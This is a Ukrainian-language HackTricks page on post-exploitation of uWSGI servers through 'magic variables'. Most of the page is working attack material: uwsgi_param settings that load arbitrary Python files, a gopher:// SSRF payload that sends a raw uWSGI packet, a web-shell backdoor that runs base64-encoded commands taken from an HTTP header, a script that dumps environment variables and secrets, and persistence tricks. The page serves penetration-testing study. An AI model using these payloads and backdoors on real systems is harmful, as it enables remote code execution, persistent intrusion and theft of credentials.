WSGI Post-Exploitation трюки

Reading time: 5 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

Огляд WSGI

Web Server Gateway Interface (WSGI) — це специфікація, яка описує, як вебсервер взаємодіє з веб-додатками і як веб-додатки можуть бути з'єднані в ланцюжок для обробки одного запиту. uWSGI — один із найпопулярніших WSGI серверів, часто використовується для обслуговування Python веб-додатків.

Експлуатація магічних змінних у uWSGI

uWSGI надає спеціальні «магічні змінні», які можна використовувати для динамічної конфігурації поведінки сервера. Ці змінні можна встановити через HTTP-заголовки і вони можуть призводити до серйозних вразливостей без належної валідації.

Ключові змінні для експлуатації

UWSGI_FILE - Виконання довільного файлу

uwsgi_param UWSGI_FILE /path/to/python/file.py;

Ця змінна дозволяє завантажувати та виконувати довільні Python-файли як WSGI-додатки. Якщо зловмисник може контролювати цей параметр, він може досягти Remote Code Execution (RCE).

UWSGI_SCRIPT - Завантаження скрипту

uwsgi_param UWSGI_SCRIPT module.path:callable;
uwsgi_param SCRIPT_NAME /endpoint;

Завантажує вказаний скрипт як новий додаток. У поєднанні з можливістю завантаження файлів або запису це може призвести до RCE.

UWSGI_MODULE і UWSGI_CALLABLE - Динамічне завантаження модулів

uwsgi_param UWSGI_MODULE malicious.module;
uwsgi_param UWSGI_CALLABLE evil_function;
uwsgi_param SCRIPT_NAME /backdoor;

Ці параметри дозволяють завантажувати довільні Python-модулі та викликати в них конкретні функції.

UWSGI_SETENV - Маніпуляція змінними оточення

uwsgi_param UWSGI_SETENV DJANGO_SETTINGS_MODULE=malicious.settings;

Може бути використано для зміни змінних середовища, що потенційно впливає на поведінку програми або завантаження шкідливої конфігурації.

UWSGI_PYHOME - Маніпуляція середовищем Python

uwsgi_param UWSGI_PYHOME /path/to/malicious/venv;

Змінює віртуальне оточення Python, потенційно завантажуючи шкідливі пакети або інші інтерпретатори Python.

UWSGI_CHDIR - Траверсія директорій

uwsgi_param UWSGI_CHDIR /etc/;

Змінює робочий каталог перед обробкою запитів, що може бути використано для атак path traversal.

SSRF + Gopher до

Вектор атаки

Коли uWSGI доступний через SSRF (Server-Side Request Forgery), зловмисники можуть взаємодіяти з внутрішнім сокетом uWSGI, щоб експлуатувати magic variables. Це особливо небезпечно, коли:

  1. Додаток має вразливості SSRF
  2. uWSGI працює на внутрішньому порту/сокеті
  3. Додаток неправильно перевіряє magic variables

uWSGI доступний через SSRF, тому що конфігураційний файл uwsgi.ini містить: socket = 127.0.0.1:5000, що робить його доступним з веб-застосунку через SSRF.

Приклад експлуатації

Крок 1: Створіть шкідливий payload

Спочатку інжектуйте Python-код у файл, доступний серверу (запис файлу всередині сервера, розширення файлу не має значення):

python
# Payload injected into a JSON profile file
import os
os.system("/readflag > /app/profiles/result.json")

Крок 2: Сформуйте запит протоколу uWSGI

Використайте протокол Gopher для надсилання необроблених uWSGI-пакетів:

gopher://127.0.0.1:5000/_%00%D2%00%00%0F%00SERVER_PROTOCOL%08%00HTTP/1.1%0E%00REQUEST_METHOD%03%00GET%09%00PATH_INFO%01%00/%0B%00REQUEST_URI%01%00/%0C%00QUERY_STRING%00%00%0B%00SERVER_NAME%00%00%09%00HTTP_HOST%0E%00127.0.0.1%3A5000%0A%00UWSGI_FILE%1D%00/app/profiles/malicious.json%0B%00SCRIPT_NAME%10%00/malicious.json

Цей payload:

  • Підключається до uWSGI на порту 5000
  • Встановлює UWSGI_FILE, щоб вказати на шкідливий файл
  • Змушує uWSGI завантажити та виконати Python-код

Структура протоколу uWSGI

Протокол uWSGI використовує бінарний формат, де:

  • Змінні кодуються як рядки з префіксом довжини
  • Кожна змінна має: [name_length][name][value_length][value]
  • Пакет починається з заголовка, що містить загальний розмір

Post-Exploitation Techniques

1. Persistent Backdoors

File-based Backdoor

python
# backdoor.py
import subprocess
import base64

def application(environ, start_response):
cmd = environ.get('HTTP_X_CMD', '')
if cmd:
result = subprocess.run(base64.b64decode(cmd), shell=True, capture_output=True, text=True)
response = f"STDOUT: {result.stdout}\nSTDERR: {result.stderr}"
else:
response = "Backdoor active"

start_response('200 OK', [('Content-Type', 'text/plain')])
return [response.encode()]

Потім використайте UWSGI_FILE, щоб завантажити цей backdoor:

uwsgi_param UWSGI_FILE /tmp/backdoor.py;
uwsgi_param SCRIPT_NAME /admin;

Персистентність на основі середовища

uwsgi_param UWSGI_SETENV PYTHONPATH=/tmp/malicious:/usr/lib/python3.8/site-packages;

2. Витік інформації

Environment Variable Dumping

python
# env_dump.py
import os
import json

def application(environ, start_response):
env_data = {
'os_environ': dict(os.environ),
'wsgi_environ': dict(environ)
}

start_response('200 OK', [('Content-Type', 'application/json')])
return [json.dumps(env_data, indent=2).encode()]

Доступ до файлової системи

Використовуйте UWSGI_CHDIR у поєднанні з file serving для доступу до конфіденційних файлів:

uwsgi_param UWSGI_CHDIR /etc/;
uwsgi_param UWSGI_FILE /app/file_server.py;

3. Privilege Escalation

Socket Manipulation

Якщо uWSGI працює з підвищеними привілеями, зловмисники можуть змінювати права доступу до сокетів:

uwsgi_param UWSGI_CHDIR /tmp;
uwsgi_param UWSGI_SETENV UWSGI_SOCKET_OWNER=www-data;

Перевизначення конфігурації

python
# malicious_config.py
import os

# Override uWSGI configuration
os.environ['UWSGI_MASTER'] = '1'
os.environ['UWSGI_PROCESSES'] = '1'
os.environ['UWSGI_CHEAPER'] = '1'

Посилання

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks